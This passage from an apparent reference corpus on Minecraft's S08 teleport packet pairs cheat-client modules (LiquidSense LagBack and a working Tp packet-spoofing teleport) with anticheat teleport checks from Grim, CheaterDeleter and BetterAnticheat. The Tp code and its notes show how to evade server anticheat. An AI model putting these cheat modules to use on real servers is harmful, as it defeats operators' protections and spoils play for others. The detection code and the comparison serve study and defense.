if(mc.gameSettings.keyBindForward.isKeyDown() || mc.gameSettings.keyBindBack.isKeyDown() || mc.gameSettings.keyBindLeft.isKeyDown() || mc.gameSettings.keyBindRight.isKeyDown()){\n                        LiquidBounce.moduleManager.getModule(Step.class).setState(false);\n                        mc.thePlayer.addChatMessage(new ChatComponentText(\"§8[§9§l\" +LiquidBounce.CLIENT_NAME+ \"§8] §3\"+ \"StepLagBack\"));\n                    }\n                }\n            }\n        }\n\n    }\n\n\n}\n\n// NOTE (AI): The single packet handler watches S08 and, once per 2000 ms, disables whichever of Speed, LongJump, Fly, Flight or Step is toggled and moving, printing a colored chat notice per module. It is a flag-avoidance helper rather than a movement exploit itself.\n",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/misc/LagBack.java",
      "vanilla_hook": "PacketEvent (S08).",
      "anti_cheat_notes": "Self-disabling on the first rubberband is the same strategy as Memeware's Flag Check: the server already flagged the movement, so the module quits instead of fighting the teleport.",
      "variations": "Only LiquidSense Dev in the corpus; the eight original clients fold this behavior into Speed and Fly as flag-check settings."
     },
     {
      "name": "Teleport / Tp",
      "found_in": [
       "LiquidSense Dev"
      ],
      "purpose": "Use the server's own lag-back as the arm signal: cancel all C03 until S08 arrives, then walk the computed path with C04s.",
      "how_it_works": "onEnable provokes the lag-back with C0F(0,-1,false), a flying-abilities C13 and C04 +0.17/+0.06. While !tp every C03 is cancelled; the first S08 flips tp and the tick handler replays the fall ladder and walks the PathfindingUtils path with per-vec3 C04s, finishing with C03(true) and C0C input.",
      "detailed_code": "// ===== FILE: LiquidSense Dev, me/AquaVit/liquidSense/modules/world/Tp.java =====\npackage me.AquaVit.liquidSense.modules.world;\n\nimport net.ccbluex.liquidbounce.event.EventTarget;\nimport net.ccbluex.liquidbounce.event.MoveEvent;\nimport net.ccbluex.liquidbounce.event.PacketEvent;\nimport net.ccbluex.liquidbounce.event.TickEvent;\nimport net.ccbluex.liquidbounce.features.module.Module;\nimport net.ccbluex.liquidbounce.features.module.ModuleCategory;\nimport net.ccbluex.liquidbounce.features.module.ModuleInfo;\nimport net.ccbluex.liquidbounce.utils.ClientUtils;\nimport net.ccbluex.liquidbounce.utils.CustomVec3;\nimport net.ccbluex.liquidbounce.utils.PathfindingUtils;\nimport net.minecraft.client.entity.EntityPlayerSP;\nimport net.minecraft.client.network.NetHandlerPlayClient;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C0CPacketInput;\nimport net.minecraft.network.play.client.C0FPacketConfirmTransaction;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\n\nimport static net.ccbluex.liquidbounce.utils.MovementUtils.getMaxFallDist;\n\n@ModuleInfo(name = \"Tp\",description = \"Allows you to teleport around.\", category = ModuleCategory.WORLD,array = false)\npublic class Tp extends Module {\n    public static float x;\n    public static float y;\n    public static float z;\n    boolean tp;\n\n    @Override\n    public void onEnable() {\n        if (mc.thePlayer == null)\n            return;\n        tp = false;\n        ClientUtils.displayChatMessage(\"Wait For Server LagBack\");\n        PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n        playerCapabilities.isFlying = true;\n        mc.getNetHandler().addToSendQueue(new C0FPacketConfirmTransaction(0, (short)(-1), false));\n        mc.getNetHandler().addToSendQueue(new C13PacketPlayerAbilities(playerCapabilities));\n        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                mc.thePlayer.posY + 0.17, mc.thePlayer.posZ, true));\n        mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX,\n                mc.thePlayer.posY + 0.06, mc.thePlayer.posZ, true));\n        mc.thePlayer.stepHeight = 0.0f;\n        mc.thePlayer.motionX = 0.0;\n        mc.thePlayer.motionZ = 0.0;\n    }\n\n    @Override\n    public void onDisable() {\n        mc.timer.timerSpeed = 1.0f;\n        mc.thePlayer.stepHeight = 0.625f;\n        mc.thePlayer.motionX = 0.0;\n        mc.thePlayer.motionZ = 0.0;\n    }\n\n    @EventTarget\n    public void onTick(TickEvent event) {\n        if (tp) {\n            double offset = 0.060100000351667404;\n            NetHandlerPlayClient netHandler = mc.getNetHandler();\n            EntityPlayerSP player = mc.thePlayer;\n            double x2 = player.posX;\n            double y2 = player.posY;\n            double z2 = player.posZ;\n            int i = 0;\n            while (i < getMaxFallDist() / 0.05510000046342611 + 1.0) {\n                netHandler.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x2, y2 + 0.060100000351667404, z2, false));\n                netHandler.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x2, y2 + 5.000000237487257E-4, z2, false));\n                netHandler.addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(x2, y2 + 0.004999999888241291 + 6.01000003516674E-8, z2, false));\n                ++i;\n            }\n            netHandler.addToSendQueue(new C03PacketPlayer(true));\n            mc.getNetHandler().addToSendQueue(new C0CPacketInput(0.0f, 0.0f, true, true));\n            double lastY = mc.thePlayer.posY, downY = 0;\n            for (CustomVec3 vec3 : PathfindingUtils.computePath(\n                    new CustomVec3(mc.thePlayer.posX, mc.thePlayer.posY, mc.thePlayer.posZ),\n                    new CustomVec3(x, y, z))) {\n                if (vec3.getY() < lastY) {\n                    downY += (lastY - vec3.getY());\n                }\n                if (downY > 2.5) {\n                    downY = 0;\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vec3.getX(),\n                            vec3.getY(), vec3.getZ(), true));\n                } else {\n                    mc.getNetHandler().addToSendQueue(new C03PacketPlayer.C04PacketPlayerPosition(vec3.getX(),\n                            vec3.getY(), vec3.getZ(), false));\n                }\n                lastY = vec3.getY();\n            }\n            //Teleported\n            mc.thePlayer.setPosition(x, y, z);\n            this.setState(false);\n        }\n    }\n\n\n    @EventTarget\n    public void onMove(MoveEvent e) {\n        if (!tp) {\n            e.cancelEvent();\n        }\n    }\n    @EventTarget\n    public final void onSendPacket(PacketEvent event) {\n        if (!tp && event.getPacket() instanceof C03PacketPlayer) {\n            event.cancelEvent();\n        }\n        if (event.getPacket() instanceof S08PacketPlayerPosLook) {\n            if (!this.tp) {\n                this.tp = true;\n                ClientUtils.displayChatMessage(\"Start TelePort\");\n            }\n        }\n    }\n}\n\n// NOTE (AI): The S08 hit is the arm signal: while !tp every C03 is cancelled, and the first S08 flips tp so the tick handler walks the computed path with per-vec3 C04s and the fall-ladder offsets. onEnable provokes the lag-back with a C0F(0,-1,false), a flying-abilities C13 and C04 +0.17/+0.06.\n",
      "code_source": "LiquidSense Dev, me/AquaVit/liquidSense/modules/world/Tp.java",
      "vanilla_hook": "PacketEvent (S08 and C03), TickEvent (path walk), MoveEvent (cancel while waiting).",
      "anti_cheat_notes": "Riding the server's own teleport as the start signal means the module never moves before the server confirms the player position, which avoids the classic teleport-spam flag.",
      "variations": "TeleportCommand (LiquidSense Dev) rewrites S08 yaw and pitch to the client's rotation after a damage-ladder teleport and clears its tryCancelPacket flag; the C03 impl documents the same file family."
     }
    ],
    "general_hooks": "PacketReceiveEvent on every client, with the vanilla handler applying the mutation afterwards. Rise 6.x processes S08 in components (PingSpoofComponent, EntityTickComponent, TeleportCheck security) before modules see it.",
    "client_variations": "Classic clients (Memeware, Nekoware, Sigma, Spicy) mutate or cancel the packet object inside the event, so the vanilla handler then applies the modified values. Rise 5.99 and 6.x call event.setCancelled on the receive event; Rise 6.x additionally re-arms component state (PingSpoofComponent spoof windows) from the same packet.",
    "related": [
     "C03PacketPlayer",
     "S12PacketEntityVelocity",
     "S39PacketPlayerAbilities",
     "S0BPacketAnimation",
     "C09PacketHeldItemChange"
    ],
    "anticheat": {
     "overview": "S08 is the server's authoritative position correction and the landing pad for every movement flag: setback, phase and speed checks all terminate in a rubberband teleport. On the OUT side, anticheats do three things with it: record the exact teleported coordinates and the teleport id, bracket the teleport between transaction packets so the confirm can be time-ordered, and verify that the client's C06 confirm matches the coordinates the server actually sent. The four checks below cover that full pipeline, from the packet listener that converts relative flags to absolute positions (Grim) to the confirm verifier that kicks on a mismatch (CheaterDeleter).",
     "checks": [
      {
       "name": "PacketServerTeleport (Grim)",
       "found_in": [
        "GrimAnticheat-Grim"
       ],
       "purpose": "Tracks every outgoing player teleport so the simulation knows the client's authoritative position and can enforce it in later movement checks.",
       "how_it_works": "Listens on the OUT side for the player position-and-look packet, seeds the player's tracked position on join, converts relative flags to absolute coordinates (rewriting the packet for 1.8-era clients), and brackets the teleport with a transaction sandwich so the exact arrival tick is known. Vehicle teleports are recorded against the same transaction stream.",
       "detects": "Teleport-based desync where the client's reported position diverges from the server's authoritative teleport target.",
       "detailed_code": "// ===== FILE: GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketServerTeleport.java =====\npackage ac.grim.grimac.events.packets;\n\nimport ac.grim.grimac.GrimAPI;\nimport ac.grim.grimac.player.GrimPlayer;\nimport ac.grim.grimac.utils.data.IntToObjectPair;\nimport ac.grim.grimac.utils.math.Location;\nimport com.github.retrooper.packetevents.PacketEvents;\nimport com.github.retrooper.packetevents.event.PacketListenerAbstract;\nimport com.github.retrooper.packetevents.event.PacketListenerPriority;\nimport com.github.retrooper.packetevents.event.PacketSendEvent;\nimport com.github.retrooper.packetevents.manager.server.ServerVersion;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.teleport.RelativeFlag;\nimport com.github.retrooper.packetevents.util.Vector3d;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerPositionAndLook;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerVehicleMove;\n\npublic class PacketServerTeleport extends PacketListenerAbstract {\n\n    private static final boolean STUPID_TELEPORT_SYSTEM = PacketEvents.getAPI().getServerManager().getVersion().isNewerThanOrEquals(ServerVersion.V_1_21_2);\n\n    public PacketServerTeleport() {\n        super(PacketListenerPriority.LOW);\n    }\n\n    @Override\n    public void onPacketSend(PacketSendEvent event) {\n        if (event.getPacketType() == PacketType.Play.Server.PLAYER_POSITION_AND_LOOK) {\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n\n            WrapperPlayServerPlayerPositionAndLook teleport = new WrapperPlayServerPlayerPositionAndLook(event);\n\n            Vector3d pos = new Vector3d(teleport.getX(), teleport.getY(), teleport.getZ());\n\n            // This is the first packet sent to the client which we need to track\n            if (player.getSetbackTeleportUtil().getRequiredSetBack() == null) {\n                // Player teleport event gets called AFTER player join event\n                player.x = teleport.getX();\n                player.y = teleport.getY();\n                player.z = teleport.getZ();\n                player.yaw = teleport.getYaw();\n                player.pitch = teleport.getPitch();\n\n                player.lastX = teleport.getX();\n                player.lastY = teleport.getY();\n                player.lastZ = teleport.getZ();\n                player.lastYaw = teleport.getYaw();\n                player.lastPitch = teleport.getPitch();\n\n                player.pollData();\n            }\n\n            // Convert relative teleports to normal teleports\n            // We have to do this because 1.8 players on 1.9+ get teleports changed by ViaVersion\n            // Additionally, velocity is kept after relative teleports making predictions difficult\n            // The added complexity isn't worth a feature that I have never seen used\n            //\n            // If you do actually need this make an issue on GitHub with an explanation for why\n            if (player.getClientVersion().isOlderThanOrEquals(ClientVersion.V_1_8) || player.inVehicle()) {\n                boolean relativeX = teleport.isRelativeFlag(RelativeFlag.X),\n                        relativeY = teleport.isRelativeFlag(RelativeFlag.Y),\n                        relativeZ = teleport.isRelativeFlag(RelativeFlag.Z);\n\n                if (relativeX) {\n                    pos = pos.add(new Vector3d(player.x, 0, 0));\n                    teleport.setRelative(RelativeFlag.X, false);\n                }\n\n                if (relativeY) {\n                    pos = pos.add(new Vector3d(0, player.y, 0));\n                    teleport.setRelative(RelativeFlag.Y, false);\n                }\n\n                if (relativeZ) {\n                    pos = pos.add(new Vector3d(0, 0, player.z));\n                    teleport.setRelative(RelativeFlag.Z, false);\n                }\n\n                if (relativeX || relativeY || relativeZ) {\n                    teleport.setX(pos.getX());\n                    teleport.setY(pos.getY());\n                    teleport.setZ(pos.getZ());\n\n                    event.markForReEncode(true);\n                }\n            }\n\n            if (STUPID_TELEPORT_SYSTEM && player.inVehicle()) {\n                boolean relativeDeltaX = teleport.isRelativeFlag(RelativeFlag.DELTA_X),\n                        relativeDeltaY = teleport.isRelativeFlag(RelativeFlag.DELTA_Y),\n                        relativeDeltaZ = teleport.isRelativeFlag(RelativeFlag.DELTA_Z);\n\n                if (relativeDeltaX) {\n                    teleport.setRelative(RelativeFlag.DELTA_X, false);\n                }\n\n                if (relativeDeltaY) {\n                    teleport.setRelative(RelativeFlag.DELTA_Y, false);\n                }\n\n                if (relativeDeltaZ) {\n                    teleport.setRelative(RelativeFlag.DELTA_Z, false);\n                }\n\n                if (relativeDeltaX || relativeDeltaY || relativeDeltaZ) {\n                    teleport.setDeltaMovement(Vector3d.zero());\n                    event.markForReEncode(true);\n                }\n            }\n\n            // 1.21.2+ client ignore teleports if player is inside vehicle, ABSOLUTE CINEMA MOJANG\n            if (player.getClientVersion().isNewerThanOrEquals(ClientVersion.V_1_21_2) && player.compensatedEntities.serverPlayerVehicle != null) {\n                pos = player.getSetbackTeleportUtil().lastKnownGoodPosition.getPos();\n            }\n\n            player.sendTransaction();\n            final int lastTransactionSent = player.lastTransactionSent.get();\n            event.getTasksAfterSend().add(player::sendTransaction);\n\n            if (teleport.isDismountVehicle()) {\n                // Remove player from vehicle\n                event.getTasksAfterSend().add(() -> player.compensatedEntities.self.eject());\n            }\n\n            // For some reason, teleports on 1.7 are offset by 1.62?\n            if (event.getServerVersion().isOlderThan(ServerVersion.V_1_8))\n                pos = pos.withY(pos.getY() - 1.62);\n\n            Location target = new Location(null, pos.getX(), pos.getY(), pos.getZ(), teleport.getYaw(), teleport.getPitch());\n            player.getSetbackTeleportUtil().addSentTeleport(target, teleport.getDeltaMovement(), lastTransactionSent, teleport.getRelativeFlags(), true, teleport.getTeleportId());\n        }\n\n        if (event.getPacketType() == PacketType.Play.Server.VEHICLE_MOVE) {\n            GrimPlayer player = GrimAPI.INSTANCE.getPlayerDataManager().getPlayer(event.getUser());\n            if (player == null) return;\n\n            player.sendTransaction();\n            event.getTasksAfterSend().add(player::sendTransaction);\n            player.vehicleData.vehicleTeleports.add(new IntToObjectPair<>(\n                    player.lastTransactionSent.get(),\n                    new WrapperPlayServerVehicleMove(event).getPosition()\n            ));\n        }\n    }\n}\n// NOTE (AI): Grim converts relative teleports to absolute ones because ViaVersion can rewrite them for 1.8 players, which would break prediction; the transaction sandwich around the teleport is what lets the setback system order it against movement.",
       "code_source": "GrimAnticheat-Grim, common/src/main/java/ac/grim/grimac/events/packets/PacketServerTeleport.java",
       "variations": "Artemis and CheaterDeleter record the same OUT teleport event; Grim additionally re-encodes the packet so its own simulation never sees relative coordinates."
      },
      {
       "name": "TeleportVerifierCheck (CheaterDeleter)",
       "found_in": [
        "CoolMineman-CheaterDeleter"
       ],
       "purpose": "Verifies that the client's teleport confirm returns the exact coordinates the server sent, kicking on any mismatch.",
       "how_it_works": "Stores the target position (resolving relative flags against the player's current position) keyed by the S08 teleport id. When the client sends the matching teleport-confirm packet, the check compares each axis of the attached movement packet against the stored target: absolute axes must match exactly, relative axes must be within 10 blocks. Any disagreement kicks the player.",
       "detects": "Cancel-and-spoof teleport bypasses where a client accepts the teleport id but reports a different position, and disabler-style teleport manipulation.",
       "detailed_code": "// ===== FILE: CoolMineman-CheaterDeleter, src/main/java/io/github/coolmineman/cheaterdeleter/modules/movement/TeleportVerifierCheck.java =====\npackage io.github.coolmineman.cheaterdeleter.modules.movement;\n\nimport java.util.Objects;\n\nimport io.github.coolmineman.cheaterdeleter.events.OutgoingTeleportListener;\nimport io.github.coolmineman.cheaterdeleter.events.TeleportConfirmListener;\nimport io.github.coolmineman.cheaterdeleter.modules.CDModule;\nimport io.github.coolmineman.cheaterdeleter.objects.PlayerMoveC2SPacketView;\nimport io.github.coolmineman.cheaterdeleter.objects.PlayerPositionLookS2CPacketView;\nimport io.github.coolmineman.cheaterdeleter.objects.entity.CDPlayer;\nimport it.unimi.dsi.fastutil.ints.Int2ObjectMap;\nimport it.unimi.dsi.fastutil.ints.Int2ObjectMaps;\nimport it.unimi.dsi.fastutil.ints.Int2ObjectOpenHashMap;\nimport net.minecraft.network.packet.c2s.play.TeleportConfirmC2SPacket;\nimport net.minecraft.network.packet.s2c.play.PlayerPositionLookS2CPacket.Flag;\n\npublic class TeleportVerifierCheck extends CDModule implements TeleportConfirmListener, OutgoingTeleportListener {\n\n    public TeleportVerifierCheck() {\n        super(\"teleport_verifier_check\");\n        TeleportConfirmListener.EVENT.register(this);\n        OutgoingTeleportListener.EVENT.register(this);\n    }\n\n    private static class TeleportVerifierCheckData {\n        public Int2ObjectMap<TeleportInfo> teleports = Int2ObjectMaps.synchronize(new Int2ObjectOpenHashMap<>());\n    }\n\n    private static class TeleportInfo {\n        public final double x;\n        public final double y;\n        public final double z;\n        public final boolean exactX;\n        public final boolean exactY;\n        public final boolean exactZ;\n\n        public TeleportInfo(CDPlayer player, PlayerPositionLookS2CPacketView view) {\n            if (view.getFlags().contains(Flag.X)) {\n                exactX = false;\n                x = view.getX() + player.getX();\n            } else {\n                exactX = true;\n                x = view.getX();\n            }\n            if (view.getFlags().contains(Flag.Y)) {\n                exactY = false;\n                y = view.getY() + player.getY();\n            } else {\n                exactY = true;\n                y = view.getY();\n            }\n            if (view.getFlags().contains(Flag.Z)) {\n                exactZ = false;\n                z = view.getZ() + player.getZ();\n            } else {\n                exactZ = true;\n                z = view.getZ();\n            }\n        }\n    }\n\n    @Override\n    public void onTeleportConfirm(CDPlayer player, TeleportConfirmC2SPacket teleportConfirmC2SPacket, PlayerMoveC2SPacketView playerMoveC2SPacketView) {\n        TeleportInfo teleport = player.getData(TeleportVerifierCheckData.class).teleports.get(teleportConfirmC2SPacket.getTeleportId());\n        player.getData(TeleportVerifierCheckData.class).teleports.remove(teleportConfirmC2SPacket.getTeleportId());\n        if (enabledFor(player)) {\n            Objects.requireNonNull(teleport, \"If this is null and player is not cheating you should panic\");\n            assertAxis(player, \"x\", teleport.exactX, playerMoveC2SPacketView.getX(), teleport.x);\n            assertAxis(player, \"y\", teleport.exactY, playerMoveC2SPacketView.getY(), teleport.y);\n            assertAxis(player, \"z\", teleport.exactZ, playerMoveC2SPacketView.getZ(), teleport.z);\n        }\n    }\n\n    private void assertAxis(CDPlayer player, String axis, boolean exact, double obtained, double target) {\n        if (exact) {\n            assertOrKick(obtained == target, player, \"Bad Teleport \" + axis + \" expected: \" + target + \" got: \" + obtained);\n        } else {\n            assertOrKick(Math.abs(target - obtained) < 10, player, \"Bad Teleport \" + axis + \" expected: \" + target + \" got: \" + obtained); // TODO this is bad\n        }\n    }\n\n    @Override\n    public void onOutgoingTeleport(CDPlayer player, PlayerPositionLookS2CPacketView packet) {\n        TeleportVerifierCheckData data = player.getOrCreateData(TeleportVerifierCheckData.class, TeleportVerifierCheckData::new);\n        data.teleports.put(packet.getTeleportId(), new TeleportInfo(player, packet));\n    }\n}\n// NOTE (AI): This is the strict end of the spectrum: a single wrong coordinate kicks, with no buffer or violation counter.",
       "code_source": "CoolMineman-CheaterDeleter, src/main/java/io/github/coolmineman/cheaterdeleter/modules/movement/TeleportVerifierCheck.java",
       "variations": "Grim instead flags and sets back; BetterAnticheat resolves teleports inside its confirmation tracker before comparing movement."
      },
      {
       "name": "TeleportTracker (BetterAnticheat)",
       "found_in": [
        "amnoah-BetterAnticheat"
       ],
       "purpose": "Compensates outgoing teleport packets so movement checks can distinguish a teleport from an illegal position jump.",
       "how_it_works": "On the OUT side it wraps the position-and-look packet (plus entity teleport and rotation packets for the player) into a Teleport record that is only added to the eligible list after the confirmation tracker's pre-transaction fires. On the IN side, every flying packet is matched against eligible teleports: onGround flag, absolute coordinates and rotations must line up, with a 2.0E-4 leniency for relative axes when the player did not send a position packet the previous tick. Teleports that never match become a missedTeleport state for the checks.",
       "detects": "Movement spoofing that fakes teleport confirms, and the desync that follows when a client skips or reorders teleport confirmation.",
       "detailed_code": "// ===== FILE: amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/player/tracker/impl/teleport/TeleportTracker.java =====\npackage better.anticheat.core.player.tracker.impl.teleport;\n\nimport better.anticheat.core.player.Player;\nimport better.anticheat.core.player.tracker.Tracker;\nimport com.github.retrooper.packetevents.event.simple.PacketPlayReceiveEvent;\nimport com.github.retrooper.packetevents.event.simple.PacketPlaySendEvent;\nimport com.github.retrooper.packetevents.protocol.packettype.PacketType;\nimport com.github.retrooper.packetevents.protocol.player.ClientVersion;\nimport com.github.retrooper.packetevents.protocol.teleport.RelativeFlag;\nimport com.github.retrooper.packetevents.wrapper.play.client.WrapperPlayClientPlayerFlying;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerEntityTeleport;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerPositionAndLook;\nimport com.github.retrooper.packetevents.wrapper.play.server.WrapperPlayServerPlayerRotation;\nimport lombok.Getter;\nimport wtf.spare.sparej.Pair;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * This tracker compensates teleportation packets and checks whether a player's movement matches an eligible teleport.\n */\npublic class TeleportTracker extends Tracker {\n\n    private final List<Teleport> eligibleTeleports = new ArrayList<>(), remove = new ArrayList<>();\n\n    @Getter\n    private boolean teleported = true, positionTeleported = true, rotationTeleported = true, missedTeleport = false;\n    private boolean positionLastTick = false, positionThisTick = false;\n\n    private final boolean supportsTickEnd;\n\n    public TeleportTracker(Player player) {\n        super(player);\n        this.supportsTickEnd = player.getUser().getClientVersion()\n                .isNewerThanOrEquals(ClientVersion.V_1_21_2);\n    }\n\n    @Override\n    public void handlePacketPlayReceive(PacketPlayReceiveEvent event) {\n        if (event.getPacketType() == PacketType.Play.Client.CLIENT_TICK_END) handleTickEnd();\n\n        if (!WrapperPlayClientPlayerFlying.isFlying(event.getPacketType())) return;\n        final var wrapper = new WrapperPlayClientPlayerFlying(event);\n\n        if (!supportsTickEnd) handleTickEnd();\n\n        if (wrapper.hasPositionChanged()) positionThisTick = true;\n\n        for (final var teleport : eligibleTeleports) {\n            if (match(teleport, wrapper)) {\n                if (teleport.getPosition() != null) positionTeleported = true;\n                if (teleport.getRotation() != null) rotationTeleported = true;\n                teleported = true;\n                teleport.setHandled(true);\n            }\n\n            /*\n             * Players receive teleports sequentially, so if they haven't handled this teleport yet then they can't\n             * handle any future ones.\n             * Another intended feature: we allow players to potentially qualify for a teleport multiple times. We could\n             * be wrong and they hadn't actually teleported (such as the scenario a player is standing still, teleports\n             * to themself, they have a network lag spike after confirming the pre, and then they start moving. Once\n             * their network resumes they would teleport but we would have already wrongly assumed they had teleported).\n             * This could allow for potential exploitation of the anticheat, but it can be fixed by lag compensating\n             * more. The more things we have lag compensated, the more harmful it is for a player to modify this\n             * behavior.\n             * This could also be fixed with a prediction system, but that's a long ways out.\n             */\n            // Note: Commented out for now to try to increase handler performance!\n            //if (!teleport.isHandled()) break;\n        }\n    }\n\n    /**\n     * Handle compensating different types of teleport packets.\n     */\n    @Override\n    public void handlePacketPlaySend(PacketPlaySendEvent event) {\n        switch (event.getPacketType()) {\n            case ENTITY_TELEPORT -> {\n                WrapperPlayServerEntityTeleport wrapper = new WrapperPlayServerEntityTeleport(event);\n                if (wrapper.getEntityId() != player.getUser().getEntityId()) return;\n                Teleport teleport = new Teleport(wrapper.getPosition(), new Pair<>(wrapper.getPitch(), wrapper.getYaw()), wrapper.getRelativeFlags(), wrapper.isOnGround());\n                handleTeleport(teleport);\n            }\n            case PLAYER_ROTATION -> {\n                WrapperPlayServerPlayerRotation wrapper = new WrapperPlayServerPlayerRotation(event);\n                Teleport teleport = new Teleport(null, new Pair<>(wrapper.getPitch(), wrapper.getYaw()), null, null);\n                handleTeleport(teleport);\n            }\n            case PLAYER_POSITION_AND_LOOK -> {\n                WrapperPlayServerPlayerPositionAndLook wrapper = new WrapperPlayServerPlayerPositionAndLook(event);\n                Teleport teleport = new Teleport(wrapper.getPosition(), new Pair<>(wrapper.getPitch(), wrapper.getYaw()), wrapper.getRelativeFlags(), null);\n                handleTeleport(teleport);\n            }\n        }\n    }\n\n    /**\n     * Handles a tickend. Is a separate method for compatibility so we can support pre 1.21.2.\n     */\n    private void handleTickEnd() {\n        positionTeleported = rotationTeleported = missedTeleport = teleported = false;\n        positionLastTick = positionThisTick;\n        positionThisTick = false;\n\n        /*\n         * Due to the current design of our confirmation system, teleports do not actually resolve within our\n         * confirmation window. Rather, they resolve in the tick following the post transaction (apart from world\n         * change teleports! Which resolve in time for some reason?). So, we handle it here in the following tick if\n         * needed.\n         */\n        for (Teleport teleport : remove) {\n            eligibleTeleports.remove(teleport);\n            if (!teleport.isHandled()) missedTeleport = true;\n        }\n        remove.clear();\n    }\n\n    /**\n     * Handle compensating teleports. When the initial confirmation returns, we start including the teleport. When the\n     * post confirmation returns, we remove the teleport.\n     */\n    private void handleTeleport(Teleport teleport) {\n        var confirm = player.getConfirmationTracker().confirm();\n        confirm.onBegin(() -> {\n            eligibleTeleports.add(teleport);\n        });\n        confirm.onAfterConfirm(() -> {\n            remove.add(teleport);\n        });\n    }\n\n    /**\n     * This method checks whether the given Teleport matches the player's current Flying packet. To check this, we see\n     * if the onGround status, position, and rotation matches. We also account for relative movements,\n     */\n    private boolean match(Teleport teleport, WrapperPlayClientPlayerFlying wrapper) {\n        /*\n         * Player Rotations and Player Position and Look packets don't define a ground status.\n         * Entity Teleport define a ground status.\n         */\n        ground:\n        {\n            if (teleport.getOnGround() == null) break ground;\n            if (!teleport.getOnGround().equals(wrapper.isOnGround())) return false;\n        }\n\n        /*\n         * Entity Teleport and Player Position and Look define a position.\n         * Player Rotations don't define a position.\n         */\n        position:\n        {\n            if (teleport.getPosition() == null) break position;\n            if (!wrapper.hasPositionChanged()) return false;\n            double x = teleport.getPosition().getX(), y = teleport.getPosition().getY(), z = teleport.getPosition().getZ();\n            boolean relX = false, relY = false, relZ = false;\n\n            if (teleport.getRelativeFlags() != null) {\n                if (teleport.getRelativeFlags().has(RelativeFlag.X)) {\n                    x += player.getPositionTracker().getLastX();\n                    relX = true;\n                }\n                if (teleport.getRelativeFlags().has(RelativeFlag.Y)) {\n                    y += player.getPositionTracker().getLastY();\n                    relY = true;\n                }\n                if (teleport.getRelativeFlags().has(RelativeFlag.Z)) {\n                    z += player.getPositionTracker().getLastZ();\n                    relZ = true;\n                }\n            }\n\n            if (!compareCoordinate(x, wrapper.getLocation().getX(), relX)) return false;\n            if (!compareCoordinate(y, wrapper.getLocation().getY(), relY)) return false;\n            if (!compareCoordinate(z, wrapper.getLocation().getZ(), relZ)) return false;\n        }\n\n        /*\n         * Currently no teleport packets don't include a rotation, but I don't trust Mojang so we futureproof!\n         */\n        rotation:\n        {\n            if (teleport.getRotation() == null) break rotation;\n            if (!wrapper.hasRotationChanged()) return false;\n\n            float pitch = teleport.getRotation().getX(), yaw = teleport.getRotation().getY();\n\n            if (teleport.getRelativeFlags() != null) {\n                if (teleport.getRelativeFlags().has(RelativeFlag.YAW) || teleport.getRelativeFlags().has(RelativeFlag.PITCH))\n                    break rotation;\n\n                /*\n                // Rotation relatives seems to be messing up a lot right now. So, we don't care about it until we figure\n                // out.\n                if (teleport.getRelativeFlags().has(RelativeFlag.PITCH)) {\n                    // Pitch is bounded -90 to 90\n                    if (pitch < 0) {\n                        pitch = Math.max(-90, player.getRotationTracker().getLastPitch() + pitch);\n                    } else {\n                        pitch = Math.min(90, player.getRotationTracker().getLastPitch() + pitch);\n                    }\n                }\n                if (teleport.getRelativeFlags().has(RelativeFlag.YAW)) yaw += player.getRotationTracker().getLastYaw();\n                 */\n            }\n\n            // Verify equality.\n            if (pitch != wrapper.getLocation().getPitch() || yaw != wrapper.getLocation().getYaw()) return false;\n        }\n\n        return true;\n    }\n\n    /**\n     * See ArtificialPositionCheck.java for an explanation behind the value used here.\n     * Check if the player's coordinate is accurate for their teleport.\n     */\n    private boolean compareCoordinate(double first, double second, boolean relative) {\n        /*\n         * If the teleport is not a relative, it must be an exact match to the teleport.\n         * If a teleport is relative, it means that it is based on the previous position.\n         * If the player did not send a position packet in their last tick, it means they could have desynced and their\n         * movement could be off by up to 2.0E-4 (see ArtificialPositionCheck.java for an explanation on the value).\n         */\n        if (relative) {\n            double leniency;\n            if (positionLastTick) leniency = 0;\n            else leniency = 2.0E-4;\n            return Math.abs(first - second) <= leniency;\n        } else return first == second;\n    }\n}\n// NOTE (AI): Teleports resolve in the tick after the post transaction rather than inside the confirmation window, which the tracker handles explicitly for pre-1.21.2 clients.",
       "code_source": "amnoah-BetterAnticheat, core/src/main/java/better/anticheat/core/player/tracker/impl/teleport/TeleportTracker.java",
       "variations": "Grim's SetbackTeleportUtil keeps an explicit queue of sent teleports; CheaterDeleter verifies confirms immediately and kicks."
      },
      {
       "name": "TeleportPreProcessor (Artemis)",
       "found_in": [
        "artemisac-artemis-minecraft-anticheat"
       ],
       "purpose": "Feeds server teleport and entity-teleport packets into the movement holder so position checks run against the post-teleport state.",
       "how_it_works": "Handles the OUT position packet and the player's entity-teleport packet. For entity teleports it registers a transaction-confirmed action: on the pre side it moves the last velocity into lastVelocity, installs the teleported position as the current movement and location, and marks the movement as teleport-processed; the post side clears that flag once the client confirms.",
       "detects": "Cheats that depend on the anticheat not knowing the server moved the player, and velocity residue that should be cleared by a teleport.",
